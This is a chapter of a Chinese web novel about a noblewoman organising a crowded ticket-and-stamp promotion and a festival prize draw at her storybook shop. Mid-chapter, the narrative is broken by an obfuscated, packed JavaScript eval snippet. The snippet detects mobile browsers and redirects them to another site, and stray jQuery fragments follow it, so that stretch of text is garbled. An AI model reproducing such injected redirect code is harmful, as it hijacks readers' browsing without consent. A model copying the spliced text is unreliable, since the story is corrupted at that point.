21. 浴佛节至
作品:《京城话本铺》 过了两日,张大掌柜便差人送了信,言竹筹和印章都已准备妥当。还雇了之前的半大孩子,走街串巷吆喝。
担心铺子有事要定夺,李铮纠结了下,还是打算去铺子瞧瞧,毕竟这是自己头回经营铺子。
早上她照例去了祖母那里练拳,一块吃早食。最近小厨房送上来的槐叶冷淘,拿筷子把面缠起来,一口咬下去,芝麻碎裹着冷面,再趁上槐香,好吃极了。
吃完冷淘,再慢悠悠走到小花厅,跟在张氏身后,看她如何安排下人做事,如何做到赏罚分明。偶尔张氏会交给她些小活计,让其练练手。
因着今日惦记书铺,李铮没在花厅待太久,换了身轻便衣裳,简单簪根钗,便往书铺去。
还未到书铺,自家伙计响亮的招呼声已经传来。
一下马车,抬眼望去,乌木招牌下,已三三两两站了不少人。拿折扇的郎君,牵稚子的妇人,也有不少年龄不大的女娘。手上皆拿着自家话本,兴高采烈地交流着什么。
走近前去,听了两句,原来是在交流书中人物。
走出两三步远时,甚至还听到了一道义愤填膺,控诉《月满西厢》为何各自婚嫁的声音。旁边几人纷纷附和。
李铮回头瞅了一眼,看着他们激烈讨论的模样,脚步不自觉放轻。
带着隐秘的欢喜,她去到二楼靠窗静室,双手轻搭窗沿,静静注视窗外。
可没过片刻,李铮眉头不自觉皱起,人怎么越来越多,都挤在一起。这么多人,秩序可一定得管好。
这边李铮正皱着眉,那边张大掌柜也感觉不妙,怎得一下来了这么多人。领筹,交筹,盖印,人太多,伙计有些手忙脚乱。
正要唤人请示李铮,便见她已经下楼。
底下的人,比在楼上瞧着还要多不少。两张领筹案几前都排了长队,伙计们拿着印筹,一边发号,一边盖章,一边还要应付客人。
偏生客人仍觉速度慢,在不停催促。时不时听到有人抱怨:“怎生如此慢。”
这一催促,伙计愈发手忙脚乱起来,额头都沁了薄汗。
张大掌柜也在帮忙递筹,见李铮下来,连忙走到跟前,一边擦汗,一边着急忙慌说道:“县主,人一时有些多,都赶在一起,伙计们跟不上。”
李铮立在一旁看了会,发现领筹时走得还可以,但刻印竹筹数字、盖话本专章时却很慢。这一快一慢,也难怪客人抱怨伙计手脚不够麻溜。
转身看向张大掌柜,她沉声道:“一张领筹长案,再各加两张案几,分别用作刻印竹筹数字和盖章。每个桌子都配个伙计,一个伙计只做一件事,省得他们手忙脚乱出错。”
“这主意好,小的这就去安排。”张大掌柜听得眼前一亮,茅塞顿开,躬身就要往外走。
“且慢。”李铮喊住他,“你亲自盯着添案加人,务必让三处进度齐整,快的缓一缓,慢的紧一紧。别乱了次序,漏了章。”
“县主放心,小的亲自去盯着,保证妥当。”
见自家爹应声退下,桂丫忙上前一步:“县主,昨日估摸着有个半大小孩吆喝错了。”
目光扫过眼前的队伍,李铮抬手止住她的话:“去雅间说。”
到了雅间,李铮看了眼桂丫,轻声提醒道:“便是出了差错,也尽量不让客人都知道。”
桂丫一脸懊悔,抿紧了唇:“小的下次一定注意。”
“说吧,究竟怎么回事。”
“头一桩,有客人说昨日那小孩吆喝的是初八领筹,今日他路过看到已有人排队,便觉得是我们做事没做好。第二桩,刚才有个章不小心磕了一角,还继续用吗。第三桩,刚听您说要再加案几,那伙计可能不够用。除了领筹盖章的,铺子里也要留有伙计。还有就是印泥,原来只备了两盒,没想到会一下来这么多人,加了案几之后就不够用了。”
“那几个孩子嘴甜记性浅,我猜着,许是记错了时辰,回头再叮嘱他们一遍。不过也可能是这客人有意胡搅蛮缠。”
端起茶来喝了两口,想了片刻,李铮干脆利落吩咐道:“先去隔壁买上两盒印泥。买完回来,把店里的学徒杂役叫出来帮忙。他们不熟悉盖印,但能帮着发竹筹、理竹筹。这样伙计就能腾出来,专门负责刻印数字、盖章。”
“磕到角的印章,立马换上备用章。大致记住从哪里开始磕碰,从哪里开始换备用章。省得抽彩头当日又生波澜。”
“门口那位抱怨吆喝错时辰的客人,好好安抚,把门口的大红告示指给他看,礼数做到位。不用纠结到底是谁错了。”
说到这儿,她又转身看向金竹:“待会,你出铺子,把巷子口吆喝的半大小孩,都再叮嘱一遍。四月初七申时截止领筹,每本书四百筹,先到先得。领奖是四月初八浴佛节,巳时。千万别记岔时辰。”
桂丫和金竹不敢耽搁,点头应是,小跑着各自去忙活。
一旁周嬷嬷,见自家县主,指挥得不慌不忙,镇定自若。一边添茶,一边笑着夸赞:“县主,您这些日子可是大变样,我瞧着是愈发有条理了。咱们这书铺,说不准日后能成为,城里数一数二的大书铺呢。”
李铮笑着点头,眼神带着期盼。
侧耳倾听,伙计吆喝声,桌子摩擦声。慢慢地嘈杂声变小,应是挪好了。
低头看向窗外。队伍走得比原来快不少,铺子前聚的人总算少了点。
张大掌柜又准备了茶水,排累了的客人,只要喊一嗓子,就有杂役送上茶水。队伍间,用红布条隔开,省得有人插队,也省得有人弄不清该往哪排。
队伍里少了抱怨,有的紧盯前面的队伍,有的比较放松,时不时和前后同好,交流两句书中人物。
盖完章,仍有不少人舍不得走,站边上继续交流。平日里,哪会有这么多话本同好,这下全聚一块来了。
看着楼下说说笑笑的人群,李铮脸上也不自觉露出了笑容。
此后两日,这领筹盖章之事,都进行得顺顺利利。
没等到初七下午,八百根筹就已全部发完。后面来的客人,见竹筹没了,有些郁闷,但也知晓,这怪不着别人,只能怪自己来得晚。好在话本专属章还挺好看,自我安慰一番,没有白来。
为了抽奖,张大掌柜还制了个大的竹筒,竹筒能放50根筹,到时一个竹筒抽四根。
抽中谁,谁得彩头。
担心抽奖出岔子,他还带着伙计提前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133766|195084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
演练了几番,抽筹、唱号、验印、发放彩头,免得到时手忙脚乱。
转眼便至浴佛节,大街小巷都比往常热闹多了,路上行人一边说笑,一边走路。
人一多,摆摊的小贩自然也多起来,吃的、喝的、玩的、用的,不一而足。
五柳斋的乌木招牌,特意挂上了鲜亮彩绸。铺前摆了张方桌,上面放着抽奖用的竹筒。
往里走,铺内放了四张案几。离门口近的两张,分别用来验号、验印。剩下两张摆了话本才人题字要用的笔墨纸砚。
伙计、杂役都分了工,换上干净的蓝布衫,个个精神抖擞。
辰时还未到,店铺门前便围满了人,连旁边铺子前都站了等待抽彩头的客人。
张大掌柜,穿着簇新的长衫,胡须一看就刚修剪,头上还擦了头油,整个人容光焕发。
吉时一到,伙计大力敲了声锣,张大掌柜清了清嗓子,大声说道:“诸位客官。浴佛节已到,今日便是抽彩头的日子。老朽再重复下抽奖章程,百抽中八,喊到编号的客官,进店凭话本上的双印验明身份,再领奖品。”
“头奖一名,彩头是小店新出的锦帙精装本,附带话本才人题字。”
“次奖五名,彩头是普通本话本一册,附带话本才人题字。”
“杂奖是话本才人题字,以及各色小物。”
“章程说完,诸位且听好,老朽这便开始抽了!”
使劲摇晃竹筒,抽出一根筹,边上一健壮伙计,接过筹,大声唱号:“六十八号!六十八号!”
“是我!是我!”人群中一女娘惊呼。
众人一边向她看去,一边给她让道。
这位娘子高兴极了,身旁的嬷嬷帮她开道,她跟在身后往前冲。
一个又一个号被唱出,伙计验印确认真伪、话本才人签字、桂丫发放彩头,一切井井有条,忙中有序。
忽然人群中一阵欢呼,原来是大奖被一位郎君抽到。他是和几位同伴一块来的,从衣着来看,应是富家子弟。
几人带着笑一块进了书铺,中奖的青衣郎君接过锦帙本,不住翻看,看到题字,还特意指给同行之人看。
其中一位见不得他得瑟,当即便问桂丫:“这锦帙本怎么卖的,给我来一册。得和他的一模一样,不能题我就不要。”
中奖郎君,手搭在这要买书郎君的肩头,慢条斯理说道:“我是手气好,白得来的,你是自个花银钱买,咱们两个可不一样。”
“你说,下回考前我押些题,有同窗愿意买吗?也不多要,二百文即可。”
买书的郎君没忍不住,翻了个白眼,大概是知他本性,没继续搭话。
桂丫憋住笑场的劲儿,笑着答道:“卖得,一两银子一册。”
说完唤了个伙计来,让其接待,她还得继续发彩头呢。
抽彩头办地有条不紊,李铮心头畅快极了,像三伏天,吃了刚从冰窖里拿出来的西瓜一样。
心头松快间,忽然记起,前几日还跟陆祈约了浴佛节相见。这会过去,时辰应该刚好。
见完陆祈,再去见云秀,她信里一副神神秘秘的样子,说有大消息要透露,也不知到底是什么。

